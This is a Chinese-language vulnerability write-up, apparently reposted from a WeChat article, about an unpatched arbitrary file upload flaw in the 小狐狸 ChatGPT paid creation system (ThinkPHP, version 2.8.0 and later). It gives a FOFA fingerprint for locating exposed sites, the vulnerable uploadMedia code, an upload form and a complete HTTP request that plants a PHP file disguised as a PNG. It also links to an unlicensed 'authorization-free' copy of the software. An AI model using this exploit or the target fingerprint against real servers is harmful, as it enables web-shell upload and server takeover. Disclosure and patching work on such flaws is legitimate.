小狐狸Chatgpt付费创作系统>=2.8.0 0day任意文件上传漏洞

小狐狸GPT付费体验系统的开发基于国外很火的ChatGPT,这是一种基于人工智能技术的问答系统,可以实现智能回答用户提出的问题,提供更加精准的答案。同时,小狐狸GPT付费体验系统采用了最新的GPT3.5接口与GPT4模型,同时还支持型,文心一言,腾讯混元,讯飞星火,通义千问,智普等等国内各种大模。
fofa: "/web/static/css/chunk-elementUI.f92cd1c5.css"

小狐狸Chatgpt付费创作系统0day任意文件上传漏洞
小狐狸Chatgpt付费创作系统0day任意文件上传漏洞
小狐狸Chatgpt付费创作系统0day任意文件上传漏洞
测试版本:2.9.3 框架:ThinkPHP
漏洞分析
在 /app/web/controller/Video.php 控制器中,uploadMedia方法存在file()上传函数,且过滤为简单的mime验证和php的getMime()函数,也无过滤后缀,直接上传正常图片即可绕过。

public function uploadMedia()
{
    try {
      $file = request()->file('file');
      $mine = $file->getMime();
      if (!in_array($mine, ['image/png', 'image/jpeg', 'video/mp4'])) {
        return errorJson('仅支持上传jpg/png/mp4格式文件');
      }
      if ($mine == 'video/mp4') {
        $fileType = 'video';
      } else {
        $fileType = 'image';
      }
      $path = Filesystem::disk('public')->putFile($fileType, $file, 'uniqid');
      $url = saveToOss('./upload/' . $path);
      return successJson([
                         'type' => $fileType,
                         'path' => $url
                         ]);
    } catch (\Exception $e) {
      return errorJson($e->getMessage());
    }
  }

Ps:已测试过2.8.0之前的版本不存在Video.php控制器 所以应该影响 >= 2.8.0 版本
漏洞复现
需要普通用户权限,直接访问 website/web/#/ 微信扫码登录或者直接注册即可.

小狐狸Chatgpt付费创作系统0day任意文件上传漏洞
登录好之后直接构造一个html上传表单.

<form action="http://127.0.0.1/web.php/video/uploadMedia" method="post" enctype="multipart/form-data">
  <input type="file" name="file">
  <input type="submit" value="上传">
</form>

然后打开burp,抓包,上传一个正常图片(最好小一点),之后直接改后缀为.php,直接返回地址

Payload:

POST /web.php/video/uploadMedia HTTP/1.1
Host: 127.0.0.1:81
Content-Length: 594
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhp8gBUbCczcaLGAa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=662e1cea3d0191
Connection: close

------WebKitFormBoundaryhp8gBUbCczcaLGAa
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

你的图片数据
<?php phpinfo();?>
------WebKitFormBoundaryhp8gBUbCczcaLGAa--

小狐狸Chatgpt付费创作系统0day任意文件上传漏洞
小狐狸Chatgpt付费创作系统0day任意文件上传漏洞
如果出现这种提示,是因为php的fileinfo拓展没开。无法利用

小狐狸Chatgpt付费创作系统0day任意文件上传漏洞

小狐狸chatgpt付费创作系统免授权版下载地址: http://www.myshengong.com/download/1836

From:https://mp.weixin.qq.com/s/6twkv3r0mg5OuNLD0OGwdg
100+评论
captcha